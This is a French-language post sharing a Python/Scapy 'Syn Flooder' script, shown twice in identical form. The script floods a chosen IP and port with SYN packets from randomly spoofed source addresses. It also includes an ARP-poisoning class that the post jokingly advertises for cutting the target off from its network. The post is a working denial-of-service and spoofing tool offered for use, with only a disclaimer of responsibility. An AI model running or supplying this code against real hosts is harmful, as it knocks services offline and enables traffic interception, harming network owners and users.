Syn Flooder
Livré avec un corrupteur ARP, en option, pour isoler la cible du réseau ;-)
# Syn flooder par iZy_TeH_PariaH
#Je me dégage de toute responsabilité
#quant a votre utilisation de ce script
#-----------------------------------
from scapy.all import *
from random import randint
import time
from threading import Thread
def ip_generator(nb):
""" Génère un nombre nb d'ip aléatoires de la forme
xxx.xxx.xxx.xxx"""
try:
a = int(nb)
except:
print 'Veuillez entrer un nombre de paquets valide'
exit(0)
l = []
for i in range(a):
l.append(str(randint(1,255)) + '.' + str(randint(1,255))+ '.' + str(randint(1,255))+ '.' + str(randint(1,255)))
return l
class Corruptor(Thread):
def __init__(self,ipRouteur,ipCible,votreIp):
Thread.__init__(self)
self.ipRouteur = ipRouteur
self.ipCible = ipCible
self.votreMAC = getmacbyip(votreIp)
def poison(self):
sendp(Ether (dst = getmacbyip(self.ipRouteur))/ARP(op = 'who-has',pdst = self.ipRouteur,psrc = self.ipCible))
time.sleep(5)
def run(self):
while 1:
self.poison()
if __name__ == '__main__':
if len(sys.argv) < 4:
print 'Veuillez mettre l\'adresse de la cible et le port en parametre de la forme :\nsyn.py <ip> <port> <nombre_paquets>'
exit(0)
print 'Flooding ...'
for ip in ip_generator(sys.argv[3]):
send(IP(dst = sys.argv[1],src = ip)/TCP(sport = 81,dport = int(sys.argv[2]),flags = 'S'))
# Syn flooder par iZy_TeH_PariaH
#Je me dégage de toute responsabilité
#quant a votre utilisation de ce script
#-----------------------------------
from scapy.all import *
from random import randint
import time
from threading import Thread
def ip_generator(nb):
""" Génère un nombre nb d'ip aléatoires de la forme
xxx.xxx.xxx.xxx"""
try:
a = int(nb)
except:
print 'Veuillez entrer un nombre de paquets valide'
exit(0)
l = []
for i in range(a):
l.append(str(randint(1,255)) + '.' + str(randint(1,255))+ '.' + str(randint(1,255))+ '.' + str(randint(1,255)))
return l
class Corruptor(Thread):
def __init__(self,ipRouteur,ipCible,votreIp):
Thread.__init__(self)
self.ipRouteur = ipRouteur
self.ipCible = ipCible
self.votreMAC = getmacbyip(votreIp)
def poison(self):
sendp(Ether (dst = getmacbyip(self.ipRouteur))/ARP(op = 'who-has',pdst = self.ipRouteur,psrc = self.ipCible))
time.sleep(5)
def run(self):
while 1:
self.poison()
if __name__ == '__main__':
if len(sys.argv) < 4:
print 'Veuillez mettre l\'adresse de la cible et le port en parametre de la forme :\nsyn.py <ip> <port> <nombre_paquets>'
exit(0)
print 'Flooding ...'
for ip in ip_generator(sys.argv[3]):
send(IP(dst = sys.argv[1],src = ip)/TCP(sport = 81,dport = int(sys.argv[2]),flags = 'S'))
Publicité